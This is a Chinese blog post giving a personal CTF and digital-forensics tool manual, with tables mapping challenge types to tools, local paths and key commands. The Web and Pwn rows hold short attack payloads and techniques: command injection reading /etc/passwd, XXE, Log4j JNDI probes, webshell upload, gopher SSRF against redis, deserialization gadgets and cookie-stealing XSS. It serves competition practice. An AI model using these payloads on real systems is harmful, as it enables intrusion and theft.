红莲苍穹取证桌面 + AI 助手(FirmamentAI):取证工作台与智能分析入口 | 启动:C:/Program Files/Honglian/ForensicDesktop/FirmamentAI.exe 桌面模式整合取证流程;AI 侧做线索归集与问答 |
🧬 恶意样本与规则
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| strings / file / sha256sum | ❌ 未装 | WSL: /usr/bin/strings |
样本初筛:文件类型、字符串和证据哈希 ⚠️证据初筛三件套:file→sha256sum→strings 顺序固定,结果全部记录进 notes | file sample sha256sum sample strings -a sample | less |
🧩 固件与文件结构
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| UEFITool | 🪟 Win | Win: D:/Forensic/ForensicTool/Others/UEFITool_NE_A72_win64 |
UEFI 固件结构查看与模块提取 | 打开 ROM→树状查看 FV/PEI/DXE→导出模块 |
| CFF Explorer | ❌ 未装 | Win: D:/Forensic/ForensicTool/Reverse/CFF_Explorer-强大的PE文件(Windows可执行文件)编辑器,用于逆向分析 |
PE 结构、节、导入导出表分析 ⚠️免费版够用;复杂 PE 转用 CFF Explorer 的建议替代品 Detect It Easy + IDA | 打开 PE→查看 Headers/Sections/Imports |
考点速查:遇到什么题用什么工具
| 分类 | 考点 | 首选 | 关键命令/思路 | 备选 |
|---|---|---|---|---|
| Crypto | Base16/32/58/64/85 及变体编码 | CyberChef | 拖入密文自动试 Magic 咖啡壶配方;或 CaptfEncoder |
随波逐流 CTF编码工具 |
| Crypto | 凯撒/栅栏/维吉尼亚/培根/摩斯 | CyberChef + 随波逐流 CTF编码工具 | CyberChef ROT/Brute Force;摩斯用摩斯密码表.png 对照或 CyberChef Morse |
CaptfEncoder |
| Crypto | RSA 小指数 e(e=3 且明文小) | python3 + gmpy2 | gmpy2.iroot(c, 3) 直接开三次方;不行则模 n 开方+CRT |
RsaCtfTool –attack small_e |
| Crypto | RSA 共模攻击(同 n 不同 e) | python3 手写 | g=(e1*x+e2*y) 用扩展欧里得求 x,y;m=(c1^x*c2^y)%n |
轩禹CTF_RSA工具 |
| Crypto | RSA n 可分解(小素数/费马/已知库) | factordb 在线查询 | n 粘到 factordb.com;无果再 yafu/sympy.factorint |
RsaCtfTool –attack factordb |
| Crypto | RSA dp/dq 泄露 | python3 标准公式 | m = pow(c, dp, n) 变体;参照 dp 泄露模板脚本 |
RsaCtfTool –attack dp_leak |
| Crypto | RSA 格攻击(Boneh-Durfee/低加密指数广播 Hastad) | SageMath (在线 sagecell) | sagecell.sagemath.org 在线跑格脚本 |
多组同 e 用 CRT 直接合 |
| Crypto | MD5 碰撞(要求两串相同 md5) | fastcoll | fastcoll -p prefix -o a.txt b.txt 生成同前缀碰撞对 |
在线 fastcoll 服务 |
| Crypto | 哈希长度扩展攻击 | hash_extender 思路手写 | python -c "import hashlib;h=hashlib.sha256();h.update(b'digest');print(h.hexdigest())" |
python -c “import hle;print(hle.extend(‘sha256’,b’secret’))” |
| Crypto | AES ECB/CBC(密钥在题目/ padding oracle) | pycryptodome | from Crypto.Cipher import AES; AES.new(key, AES.MODE_ECB).decrypt(ct) |
pycryptodome CBC+unpad |
| Crypto | 异或加密( repeating-key XOR) | python3 手写 | 已知前缀推 key;未知用 xortool 思路/频率分析 |
CyberChef XOR Brute |
| Crypto | 哈希类型识别后爆破 | hashid 识别 → hashcat (Windows 版吃 5090) | hashcat -m <mode> -a 0 hash.txt D:/CaptureTheFlag/CTFTool/Cryptodictionary/rockyou |
john(WSL) |
| Pwn | ret2text(程序自带后门函数) | pwntools + ROPgadget | checksec 看保护 → objdump/IDA 找 backdoor 地址 → p64(addr)+偏移 |
cyclic 定位偏移 |
| Pwn | ret2libc(无后门,有 libc) | libcdb + one_gadget | 泄漏 puts@got → libcdb search 定版本 → patchelf 挂 libc → ROP system('/bin/sh') |
one_gadget 直接跳 |
| Pwn | 格式化字符串漏洞 | pwntools fmtstr | %6$p 泄漏栈;fmtstr_payload(6, {addr: value}) 任意写 |
手动 %n 构造 |
| Pwn | 栈溢出偏移定位 | cyclic | cyclic(200) 填充 → 报错地址 cyclic_find() 算偏移 |
GEF pattern |
| Pwn | 堆题(tcache/fastbin/unlink) | GEF 堆可视化 | gdb 里 heap bins / chunks 看布局;按版本(2.27/2.31/2.35)选攻击手法 |
pwndbg heap 命令 |
| Pwn | seccomp 沙箱题(禁 execve) | seccomp-tools | seccomp-tools dump ./pwn 看白名单 → ORW shellcode (open/read/write) |
pwntools shellcraft.orw |
| Pwn | 跨架构 ARM/MIPS pwn | qemu-user + gdb-multiarch | qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf ./elf;gdb-multiarch target remote :1234 |
静态分析为主 |
| Pwn | 本地指定 libc 复现 | patchelf | patchelf --set-interpreter ./ld-2.35.so --set-rpath . ./pwn |
LD_PRELOAD / docker |
| Reverse | ELF 静态分析入门 | IDA Pro(8.3 / 9.4 汉化) (F5) | 看 main→关键函数;Shift+F12 字符串定位 |
Ghidra / r2 izz |
| Reverse | UPX 壳 | upx -d | upx -d packed.exe -o unpacked.exe 后再静态分析 |
DiE 确认壳类型 |
| Reverse | Python 打包 exe (PyInstaller) | pyinstxtractor | python pyinstxtractor.py exe → 主 pyc 用 pycdc/uncompyle 还原 |
pycdc 直接反编译 |
| Reverse | .NET 程序 | dnSpy | 直接打开看 C# 源码,可断点可改 IL |
ILSpy |
| Reverse | Android APK | jadx-gui-ai | GUI 打开 apk 搜字符串/关键 API;NATIVE 层再上 IDA |
JEB 5.0 |
| Reverse | Java jar/class | jd-gui | 拖入 jar;混淆则先 deobfuscator |
jadx |
| Reverse | wasm 逆向 | wabt | wasm2wat main.wasm -o main.wat 阅读 wat |
浏览器 devtools 调试 |
| Reverse | Windows 动态调试/破解题 | x64dbg | 字符串搜索→关键跳 nop/改寄存器 |
OllyICE (32位) |
| Web | 目录/后台扫描 | gobuster 或 ffuf | ffuf -u url/FUZZ -w /usr/share/wordlists/Seclists/Discovery/Web-Content/common.txt -mc all -fc 404 |
dirsearch / DirBuster |
| Web | SQL 注入 | sqlmap | sqlmap -u "url?id=1" --batch --dbs;POST 用 -r req.txt |
手注 union/报错/盲注 |
| Web | SSTI 模板注入 | PayloadsAllTheThings 模板 | {{7*7}} 试探 → 对应引擎 payload;paylaod 库在 /opt/security-tools/PayloadsAllTheThings |
tplmap 思路 |
| Web | 文件上传拿 WebShell | 中国蚁剑/冰蝎 | 上传一句话(绕过检测)→ 蚁剑连接 |
哥斯拉思路 |
| Web | PHP/Java 反序列化 | 手写 POP 链 + PayloadsAllTheThings | phpggc 思路生成 payload |
ysoserial (Java) |
| Web | git 源码泄露 | GitHack | githack.cmd url/.git/;失败用 git-dumper |
手动 curl refs |
| Web | JWT 伪造 | python3 pyjwt 手改 | python -c "import jwt,base64;print(jwt.decode(open('t.txt').read(),options={'verify_signature':False}))" |
python -c “import base64;s=open(‘t.txt’).read().split(‘.’)[0];print(base64.urlsafe_b64decode(s+’==’))” |
| Web | 弱口令爆破后台 | hydra + 后台常用密码.txt | hydra -L users -P D:/.../后台常用密码.txt target http-post-form |
Burp Intruder |
| Forensics | 图片宽高/文件头损坏 | 010 Editor + tweakpng | 010 模板改 IHDR 宽高;tweakpng 提示 CRC 错即宽高错 |
python 手算 CRC 爆破宽高 |
| Forensics | PNG/BMP LSB 隐写 | zsteg → Stegsolve | zsteg flag.png 自动出;手动用 Stegsolve Data Extract 逐通道 |
python PIL 手写 |
| Forensics | JPG 密码隐写 | stegseek 爆破 → steghide | stegseek img.jpg /usr/share/wordlists/rockyou;有密码 steghide extract -sf |
outguess -r |
| Forensics | 盲水印 | BlindWaterMark | python bwm.py decode 原图 密文图 out(频域需原图) |
频域脚本/图片异或工具 |
| Forensics | 音频:摩斯/频谱/倒放 | Audacity | 频谱模式看图案;波形看摩斯长短;倒放/变速 |
MP3Stego (MP3) |
| Forensics | 流量:HTTP 对象提取 | tshark / Wireshark | tshark -r a.pcapng --export-objects http,outdir |
Wireshark Export Objects |
| Forensics | 流量:USB 键盘/鼠标 | CTF-NetA | 拖入 pcap 自动解析;或手写 HID 数据位映射脚本 |
python 脚本 |
| Forensics | 内存镜像取证 | volatility3 | vol -f mem.raw windows.info → filescan → dumpfiles |
PasswareKit 找密钥 |
| Forensics | zip 伪加密/明文攻击/爆破 | ZipCenOp (伪加密) / bkcrack (明文) / fcrackzip (爆破) | 7z l -slt 看 flags;bkcrack -C f.zip -c k.txt -p plain.txt;fcrackzip -D -p rockyou -u f.zip |
ARPR (GUI) |
| Forensics | PDF 加密/隐藏文本 | qpdf + mutool | qpdf --decrypt in.pdf out.pdf;mutool draw -F txt in.pdf |
PDF批量解密 |
| Forensics | NTFS 交换数据流 (ADS) | lads / WinHex | lads /s 目录 找隐藏流;notepad file.txt:stream 查看 |
PowerShell Get-Item -Stream |
| Forensics | 残缺二维码 | QR_Research | 定位角补全后识别;PS 手补 |
zbar 思路脚本 |
| Misc | 零宽字符/雪花文本 | 零宽隐写src | 文本贴入解码器 |
在线 zwsp 工具 |
| Misc | Brainfuck/Ook/Piet 编程语言 | bftools / Npiet | bfdecode file;npiet img.png |
在线解释器 |
| Misc | ** OSINT 图片/域名情报** | subfinder/amass + theHarvester | theHarvester -d domain -b bing;看 exiftool 定位信息 |
在线 OSINT 平台 |
| Crypto | RSA 低私钥指数 Wiener(d 很小) | python3 手写连分数 | 对 e/n 做连分数展开求 k/d,验证 d < n^0.25/3 |
RsaCtfTool –attack wiener |
| Crypto | RSA p q 相近(费马分解) | python3 + gmpy2 | a=gmpy2.iroot(n,2)[0]; 向上枚举检查 a^2-n 是否完全平方得 p,q |
yafu |
| Crypto | RSA Rabin(e=2) | python3 手写 | m^2=c mod n:mod p 与 mod q 各开平方,CRT 组合四种结果逐个试 |
RsaCtfTool –attack rabin |
| Crypto | n 含小因子/素数试除 | python3 + sympy.factorint | sympy.factorint(n, limit=10**7);或先查 factordb.com |
yafu |
| Crypto | ECC 椭圆曲线(点乘/小阶离散对数) | python3 手写/sagecell | 点加/倍点手写;小曲线 BSGS;sagecell 直接 EllipticCurve |
sympy discrete_log(有限域) |
| Crypto | 仿射/希尔密码 | python3 手写解方程 | 两对明密文解 a,b(逆元 gmpy2.invert);希尔矩阵求逆 mod 26 |
随波逐流 CTF编码工具 |
| Crypto | rot47/rotN 全旋转枚举 | CyberChef | ROT13 Brute Force 看全部偏移;rot47 选 ROT47 |
CaptfEncoder |
| Crypto | jsfuck/颜文字编码 | 浏览器控制台/Node | 粘贴到 console 回车 eval;WSL node -e 亦可 |
CyberChef |
| Crypto | 与佛论禅/熊曰/新佛曰 | 随波逐流 CTF编码工具 | 随波逐流 CTF编码工具 中文加密分类一键解;无 GUI 时在线与佛论禅 |
CTFReBox |
| Crypto | 键盘码/敲击码/九键 | CTFReBox + 人工 | 敲击码按行列对照;九键按 数字*次数 映射九宫格字母 |
随波逐流 CTF编码工具 |
| Crypto | A1Z26/当铺/拼音首字母 | 随波逐流 CTF编码工具 | A1Z26 数字转字母序号;当铺按汉字出头笔画数对照 |
CyberChef |
| Crypto | CRC32 校验/碰撞 | python3 zlib | zlib.crc32(data);伪造碰撞用 CRC 反算脚本 |
HashCalc |
| Crypto | MD5 假盐/fake_salt 变体 | 本机 fake_salt 工具目录 | D:/CaptureTheFlag/CTFTool/密码学fake_salt_md5 目录内脚本 |
python3 手写 |
| Pwn | 栈迁移 stack pivot(栈不够长) | ROPgadget + pwntools | 找 leave;ret gadget,先写 bss 假栈再 pivot 执行第二段 ROP |
one_gadget 配合 |
| Pwn | SROP(rt_sigreturn) | pwntools SigreturnFrame | frame=SigreturnFrame(); frame.rax=59... 构造 execve('/bin/sh') |
手写字节 |
| Pwn | ret2csu(64位 gadget 不足) | objdump 找 __libc_csu_init | objdump -d ./pwn | grep -A20 csu_init;csu gadget 控制 rdi/rsi/rdx |
ropper –search pop |
| Pwn | ret2shellcode(栈/bss 可执行) | pwntools shellcraft | checksec 看 NX 关;shellcraft.amd64.linux.sh() 后跳转执行 |
shellcraft.orw |
| Pwn | FSOP / _IO_FILE 劫持(glibc 2.35+) | 手写伪造 FILE 结构 | 伪造 _IO_wfile_jump 链走 wide_data;exit 触发 _IO_flush_all |
house of apple 思路 |
| Pwn | canary 泄露绕过 | 格式化字符串/pwntools | %N$p 泄漏 canary 尾字节,溢出时原样回填;fork 题可逐字节爆破 |
GEF 泄漏 |
| Pwn | partial overwrite 部分覆盖 | pwntools | 只覆盖返回地址低 1-2 字节跳附近后门(爆破 4/12 bit) |
堆 partial unlink |
| Pwn | tcache poisoning / off-by-null | GEF heap 调试 | gdb 里 heap bins 观察;改 fd 指向目标(2.34 前 __free_hook) |
house of botcake |
| Reverse | APK native 层(lib/*.so) | IDA + jadx 配合 | jadx 找 JNI 函数名,IDA 打开对应 .so F5 静态分析 |
JEB 混合视图 |
| Reverse | Flutter 应用逆向 | IDA + snapshot 特征 | libapp.so 是 Dart snapshot;字符串硬编码在 snapshot 里先 strings 试 |
blutter(未装,GitHub) |
| Reverse | Go/Rust 二进制 | IDA + 符号恢复 | Go: 加载 gopclntab 恢复函数名;Rust: strings 找 panic 路径定位逻辑 |
Ghidra |
| Reverse | 控制流平坦化(OLLVM) | IDA 脚本 deflat | 识别 dispatcher 主循环;符号执行去平坦化 |
Unicorn 模拟 |
| Reverse | VMP/Themida 重壳 | x64dbg 动态跟踪 | DiE 确认壳类型,运行到 ODP(原始入口)后 dump 修复 IAT |
沙箱行为观察 |
| Reverse | 易语言程序 | IDA + E-code 分析 | 识别 krnln.fnr 引用;表结构用易语言专用解析器 |
字符串+窗口事件跟踪 |
| Reverse | NSIS/Inno/自解压打包 | 7z 直接解 | 7z x setup.exe 常直接出原始文件 |
binwalk |
| Web | SSRF + gopher 打内网 | Burp 构造 | gopher://127.0.0.1:6379/_*1... 打 redis/fastcgi;dict:// 探端口 |
curl gopher |
| Web | XXE 注入 | Burp 改包 | DOCTYPE 实体读 file:///etc/passwd;参数实体+php://filter 外带 |
外部 DTD |
| Web | LFI 文件包含 php://filter chain | Burp/curl 构造 | php://filter/convert.iconv... 长 chain 触发 RCE(在线生成器辅助) |
data:// 伪协议 |
| Web | 日志包含/条件竞争 | Burp Intruder | UA 写马后包含 access.log;竞争用 Intruder 20 线程 Null payload |
python 多线程 |
| Web | NodeJS 原型链污染 | 审计 JS 源码 | __proto__ 污染后 merge/clone 触发;配 child_process/eval RCE |
ejs/handlebars gadget |
| Web | Shiro/Log4j 反序列化 | Burp + 特征检测 | Shiro: rememberMe 弱密钥(默认 kPH+Ix1g...);Log4j: ${jndi:ldap://dnslog} 试探 |
JNDI 字典(Cryptodictionary/JNDI.txt) |
| Web | 文件上传绕过(黑名单/魔术头) | Burp 改包 | .htaccess/.user.ini 绕过;GIF89a 头+.php;::$DATA/双写后缀 |
蚁剑连接 |
| Web | Tomcat/Nginx 解析漏洞 | Burp | Tomcat PUT: OPTIONS 后 PUT /shell.jsp/;Nginx: 1.jpg/.php 配 fix_pathinfo |
IIS .asa 解析 |
| Web | XSS 打 Cookie/后台 | Burp 构造 | img onerror 外带;后台存储型 XSS 偷管理员会话 |
CSP 绕过 jsonp |
| Forensics | E01/RAW 磁盘镜像取证 | DiskGenius/R-Studio | DiskGenius 增载镜像浏览分区;R-Studio 按签名恢复删除文件 |
FTK Imager(未装) |
| Forensics | Windows 注册表取证 | regedit 导出 + python | 重点 NTUSER.dat/SYSTEM/SAM:Run 启动项、USBSTOR、MountPoints2、ShimCache |
regipy(WSL pip) |
| Forensics | evtx 事件日志分析 | WSL python-evtx | pip install python-evtx 解析 Security.evtx 看 4624/4672 事件 |
EventLogExplorer(未装) |
| Forensics | 回收站 $I/$R 文件 | python 手写解析 | $I 头:版本+64位 FILETIME+原路径;$R 是原内容 |
R-Studio 图形化 |
| Forensics | 浏览器历史/密码提取 | SQLite Expert + python | History.db 查 urls/visits;Login Data 用 DPAPI 解密 |
WeFlow(微信场景) |
| Forensics | 微信/QQ 聊天记录取证 | WeFlow | WeFlow 4.5.1 读本地微信 4.0+ 数据库导出 HTML/CSV |
SQLite Expert + 密钥解密 |
| Forensics | BitLocker/VeraCrypt/TC 加密卷 | PasswareKit | 选容器类型后字典/GPU 恢复口令;TC 卷用 TrueCrypt 7.1a 挂载 |
hashcat 提取后爆破 |
| Forensics | WiFi 握手包破解 | WSL hashcat | hashcat -m 22000 capture.hccapx wordlist.txt |
hcxpcapng -o capture.pcapng capture.cap && hashcat -m 22000 capture.pcapx wordlist.txt |
| Forensics | PDF 流对象/隐藏文字 | qpdf/mutool | mutool show in.pdf objects;qpdf --qdf 拆流对象找 JS/隐藏内容 |
pdftotext + 010 Editor |
| Forensics | Office 隐藏内容(docx/xlsx) | 7z 解包 + grep | docx 即 zip:unzip 后看 word/document.xml 的 vanish 隐藏文本 |
010 Editor 模板 |
| Misc | SSTV 音频还原图片 | RXSSTV | 播放 wav 给 RXSSTV(Robot36/Martin1 常见);VBCABLE 虚拟声卡内录 |
在线 SSTV 解码 |
| Misc | DTMF 拨号音 | Audacity 频谱 | 频谱看双频组合对照 DTMF 表拼号码;或 python Goertzel 手写 |
dtmf2num(未装) |
| Misc | 汉信码/条形码/残缺码 | 随波逐流 CTF编码工具 + QR_Research | 随波逐流 CTF编码工具识别多码制;残缺二维码 PS 补三个定位角再识别 |
ZXing 在线 |
| Misc | MIDI 音符隐写 | MidiEditor | 逐轨看音符:音高=A1Z26、力度/通道藏比特、音符拼写字母 |
python mido(pip) |
| Misc | Logo 海龟画图指令 | 海龟画图工具 | 粘贴 logo 指令运行,轨迹画出 flag;可 python turtle 重放 |
python turtle |
| Misc | 二维码碎片拼接/反色 | PS + QR_Research | 碎片拼完整图(对齐定位角)后反色/补静区再识别 |
python PIL 拼接 |
| Misc | Linux 提权/sudo 逃逸/docker 逃逸 | GTFOBins 离线库 | 拿到低权 shell 后先 sudo -l;按可执行命令查 /opt/security-tools/GTFOBins/_gtfobins 对应用法 |
linpeas(未装,可 GitHub 拉) |
| Reverse | 符号执行/复杂输入约束 | angr | angr-python solve.py;先 CFGFast 再按约束找 stdin/path |
z3-solver 手写约束 |
| Pwn | 题目附带 libc/ld 本地复现 | pwninit | pwninit 后检查生成的 patch/solve.py,再用 gdb-pwndbg 调试 |
patchelf 手工设置 interpreter/rpath |
| Forensics | 文件特征规则匹配 | YARA | yara -r rules.yar evidence_dir/ |
strings + grep |
| Forensics | SQLite 数据库快速初筛 | sqlite3 CLI | sqlite3 evidence.db ".tables";再查 sqlite_master 和关键表 |
SQLite Expert |
| Forensics | 磁盘镜像案件标准流程 | X-Ways Forensics / Autopsy | 保留原件→计算 SHA256→只读挂载→Ingest→时间线/关键字→书签→导出报告 |
Arsenal Image Mounter + SQLite Expert |
| Forensics | E01/RAW 镜像只读挂载 | Arsenal Image Mounter | 选择 E01/DD→Read-only Mount→记录盘符、镜像哈希和挂载时间 |
Mount Image Pro / X-Ways |
| Forensics | Windows 主机时间线 | Autopsy Timeline + LastActivityView | 导入镜像→Run Ingest→Timeline 按时间/来源/用户筛选→交叉验证事件 |
X-Ways / NTFS Log Tracker |
| Forensics | NTFS $LogFile/$UsnJrnl 活动分析 | NTFS Log Tracker + X-Ways | 导出 $LogFile/$UsnJrnl→按路径/时间筛选→关联文件系统时间戳 |
Autopsy |
| Forensics | Windows 注册表 Run/USBSTOR/MountPoints2 | regipy + Registry Explorer(如有) | 提取 NTUSER.dat/SYSTEM/SAM→解析 Run、USBSTOR、MountPoints2、ShimCache→记录时间线 |
regedit/Autopsy |
| Forensics | EVTX 安全日志 4624/4672/4688 | python-evtx + Windows Event Viewer | 解析 Security.evtx→筛 4624 登录、4672 特权、4688 进程创建→按时间核对 |
Autopsy |
| Forensics | 浏览器历史/下载/登录库 | SQLite Expert / DB Browser for SQLite | 复制 History/Login Data→查 urls、visits、downloads、logins→导出 CSV |
sqlite3 CLI |
| Forensics | SQLite/SQLCipher 应用数据库 | DB Browser for SQLite/SQLCipher | 对副本打开→.tables/Schema→按时间和关键字查询→导出结果 |
SQLite Expert / sqlite3 CLI |
| Forensics | 微信聊天记录与媒体 | WeFlow | 读取微信 4.0+ 数据→按联系人/时间/关键词筛选→导出 HTML/CSV 和媒体证据 |
SQLite Expert |
| Forensics | 手机备份/iOS plist/Android APK | UFED / iBackup Viewer / PH-PhoneForensics | 保存原始备份→解析数据库/plist→Android APK 交给 JADX→生成案件报告 |
AndroidKiller / JADX |
| Forensics | 内存镜像进程/文件/网络 | Volatility 3 | vol -f mem.raw windows.info→pslist/pstree→filescan→netscan→dumpfiles |
bulk_extractor |
| Forensics | 内存镜像凭据/BitLocker 密钥 | Volatility 3 + Passware/Elcomsoft | 先识别 profile→提取进程/注册表/密钥材料→在工作副本解密分析 |
strings + YARA |
| Forensics | PCAP HTTP/DNS/TLS 流量 | Wireshark/tshark | Follow TCP/HTTP Stream→Export Objects→DNS 查询筛选→保存过滤器和截图 |
CTF-NetA/tcpdump |
| Forensics | USB HID 键盘鼠标流量 | Wireshark + CTF-NetA | 过滤 usb.capdata→按 HID 报告解析→还原按键/鼠标→与时间线核对 |
tshark + Python |
| Forensics | 恶意样本初筛与规则匹配 | file/sha256sum/strings + YARA | 计算哈希→file→strings→yara -r rules.yar→隔离沙箱动态观察 |
CFF Explorer / Volatility |
| Forensics | 文件特征/邮箱/URL 批量提取 | bulk_extractor | bulk_extractor -o outdir image.raw→查看 feature-files→回到原证据定位上下文 |
strings/grep |
| Forensics | 删除文件/分区/RAID 恢复 | R-Studio/UFS Explorer | 镜像副本→Scan→预览→恢复到不同磁盘→计算恢复文件哈希 |
FinalData/R-Studio |
| Forensics | 加密卷/BitLocker/TrueCrypt 密码恢复 | Passware/Elcomsoft/TrueCrypt | 确认容器类型→保留密钥材料→字典/GPU 恢复→只读挂载分析 |
Windows hashcat |
| Forensics | 时间戳转换与时间线核对 | DCode | 识别 FILETIME/Unix/浏览器时间格式→转换 UTC/本地→记录时区 |
Python datetime |
| Forensics | UEFI/固件结构提取 | UEFITool + binwalk | 计算固件哈希→UEFITool 查看 FV/模块→导出→binwalk 辅助提取 |
strings |
| Forensics | PE 样本结构/导入导出分析 | CFF Explorer + Detect It Easy | 确认 PE 架构/节/导入表→查壳和编译器→再交给 IDA/x64dbg |
IDA/DiE |
| Web | XXE | CyberChef | <?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>&xxe; |
python -c “import lxml.etree as e;print(e.parse(‘flag.xml’).xpath(‘//a/text()’))” |
| Web | SSRF | curl | curl -v "http://127.0.0.1:6379/" |
python -c “import requests;print(requests.get(‘http://127.0.0.1:6379/').text)” |
| Web | 文件包含 LFI/RFI | php://filter | curl -G --data-urlencode 'page=php://filter/convert.base64-encode/resource=flag.php' http://x/index.php |
cat /proc/self/cwd/flag |
| Web | 命令注入 | curl | curl -G --data-urlencode 'a=;cat /etc/passwd' 'http://x/index.php' |
;id / |id / &&id / id / $(id) / 换行id |
| Web | CSRF | Burp Suite | Burp: 抓包右键 "Generate CSRF PoC" |
python -c “import requests;requests.post(url,data={‘x’:1})” |
| Web | 权限绕过/越权 | Burp Suite | 改 id 参数: ?id=1 -> ?id=2; 或改 X-Forwarded-For / X-Real-IP |
python -c “import requests;print(requests.get(url,headers={‘X-Forwarded-For’:’127.0.0.1’}).text)” |
| Web | Java 反序列化 | ysoserial | java -jar ysoserial.jar CommonsCollections6 - touch /tmp/pwned |
python -c “import requests;requests.post(url,data=open(‘payload.bin’,’rb’).read())” |
| Crypto | 国密 SM2/SM3/SM4 | gmssl | gmssl sm4 -e -in plain.txt -out enc.bin -pass pass:1234 |
python -c “from gmssl.sm4 import CryptSM4,SM4_DECRYPT;print(CryptSM4(SM4_DECRYPT).crypt_ecb(key,data))” |
| Crypto | Padding Oracle | curl | curl -X POST -d 'ct=<截断密文>' http://x/decrypt |
python -c “import hashpump;print(hashpump.hashpump(‘sha256’,data))” |
| Crypto | 侧信道/计时攻击 | python | python -c "import time;a=input();[print(i,time.perf_counter()) for i in a]" |
for i in $(seq 1 20);do curl -s -o /dev/null -w “%{time_total}\n” url;done |
| Crypto | 彩虹表 | hashcat | hashcat -m 0 hash.txt |
hashcat -m 1000 hash.txt # NTLM; -m 1400 sha2$ ; -m 13100 kerberos |
| Pwn | ret2dlresolve | pwntools | python -c "from pwn import *;e=ELF('./p');print(e.symbols)" |
ret2dlresolve.py - ./p ./p |
| Reverse | Python 反序列化 pickle | Python 3.10 解释器 | python -c "import pickle;print(pickle.loads(open('p','rb').read()))" |
python -c “import pickletools;pickletools.dis(open(‘p’,’rb’).read())” |
| Misc | 一串乱码汉字/中文密文(随曰加密特征) | 随曰 SuiYue 文本加解密 | GUI 粘密文直接解;无密码试默认密码 |
随波逐流 CTF编码工具 |
| Misc | 图片里有看不清的文字/被旋转倾斜的字符 | 随波逐流 OCR 识别工具 | 拖图识别;识别不出换 easyocr |
CyberChef |
| Misc | 二维码识别(完整图,非残缺) | 随波逐流 二维码识别工具 | 直接拖入识别;失败再上 QR_Research |
QR_Research |
| Misc | 完全不认识的花式字符编码(颜文字/点阵/符号) | 224 种编码图 | 翻图对照认出编码名,再上 CyberChef 解 |
随波逐流 CTF编码工具 |
| Misc | 未知编码/密文想批量试解(几十种编码一把梭) | 随波逐流 CTF编码工具 | 整段粘进去逐个功能区试;先查使用手册 PDF 目录 |
CyberChef |
| Misc | 视频题:从 mp4/avi 抽帧、找隐藏帧或二维码 | ffmpeg 视频/音频处理 | ffmpeg -i in.mp4 -vsync 0 frames/f%05d.png 抽全部帧,再 Stegsolve/zsteg 逐帧;秒级抽样用 -vf fps=1 |
CTFReBox(内嵌 ffmpeg) |
| Misc | 音频题:音视频转 wav 喂 Audacity 看频谱 | ffmpeg 视频/音频处理 | ffmpeg -i in.mp4 -vn -acodec pcm_s16le out.wav,然后 Audacity 看频谱/波形 |
Audacity |
| Crypto | 国密 SM2/SM3/SM4(国内赛常见) | ctftools V8.8 Beta(含国密) | GUI 选 SM2/SM3/SM4 输入密文与参数直接试;脚本侧 pip install gmssl |
Python gmssl |
| Crypto | Python pickle 反序列化(opcode/reduce) | Python 3.10 解释器 | pickletools.dis(payload) 看 opcode 流;构造 __reduce__ 触发 RCE,用 pytorch/pickle 反序列化链 |
CyberChef |
| Crypto | PyYAML 反序列化(!!python/object) | Python 3.10 解释器 | yaml.load 危险 payload:!!python/object/apply:os.system ['id'];确认是否 safe_load |
CyberChef |
| Pwn | ret2dlresolve / 延迟绑定劫持(partial RELRO 且无 libc 泄漏) | pwntools | Ret2dlresolvePayload(elf,symbol='system',args=['/bin/sh']) + ROP 链,注意需要可写段与已知栈地址 |
~/CTF/templates/ 下 ret2libc 模板改造 |
| Forensics | 已删除文件/格式化分区的文件恢复(carving) | PhotoRec / TestDisk | sudo apt install testdisk 后 sudo photorec /dev/sdX,FileOpt 只留目标类型;分区表坏了用 testdisk |
foremost(已装)/ R-Studio / Winhex |
| Forensics | 镜像挂载取证(E01/DD/VMDK 只读访问) | Arsenal Image Mounter | Open Image → 只读挂载 → 记录盘符与哈希,再交给 AXIOM/火眼/GoldenEyes |
ArsenalImageMounter 命令行 / ewfmount(WSL) |
| Forensics | Windows 内存镜像分析(进程/网络/注册表) | LovelyMem 内存取证 | LovelymemLuxe 导入 raw/vmem → 选系统版本 → 按功能区跑;深度定制再上 volatility3 |
volatility3(WSL) |
| Forensics | Android APK 静态分析(权限/组件/硬编码) | apk_analyzer | 拖入 APK 看 Manifest 权限与组件,再 jadx-gui 读代码 |
jadx-gui-ai / AXIOM Process |
| Forensics | iOS 备份/plist 解析(Manifest、Info.plist) | plist Editor Pro | 直接打开二进制 plist 树状查看;备份包先解出 Manifest.plist |
plutil(macOS)/ python plistlib |
| Misc | 二维码结构级修复(残缺/变形认不出) | CQR(二维码研究) | CQR 看版本/纠错级别/掩码,判断能补多少;再回 随波逐流二维码识别工具 识别 |
QR_Research |
| Misc | 未知编码换工具再试一轮(多引擎对照) | EBCTFCodeBox CTF编码盒 | 随波逐流解不出的编码变体换它再试;两家算法覆盖不同 |
随波逐流 CTF编码工具 / CyberChef |
| Reverse | 看不懂的汇编指令/条件跳转语义 | 汇编查询工具 | 输入助记符查含义与标志位影响;IDA 里配 F5 一起看 |
IDA Pro(8.3 / 9.4 汉化) |
更新记录
- 2026-09-19 手册升级:命令一键复制、考点↔工具双向互跳、URL 深链(#cat-x&q=y)、多词 AND 搜索+高亮、收藏置顶、打印导出、内嵌 JSON 数据。
- 2026-09-17 首次生成。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 琉璃幻彩的博客!
评论

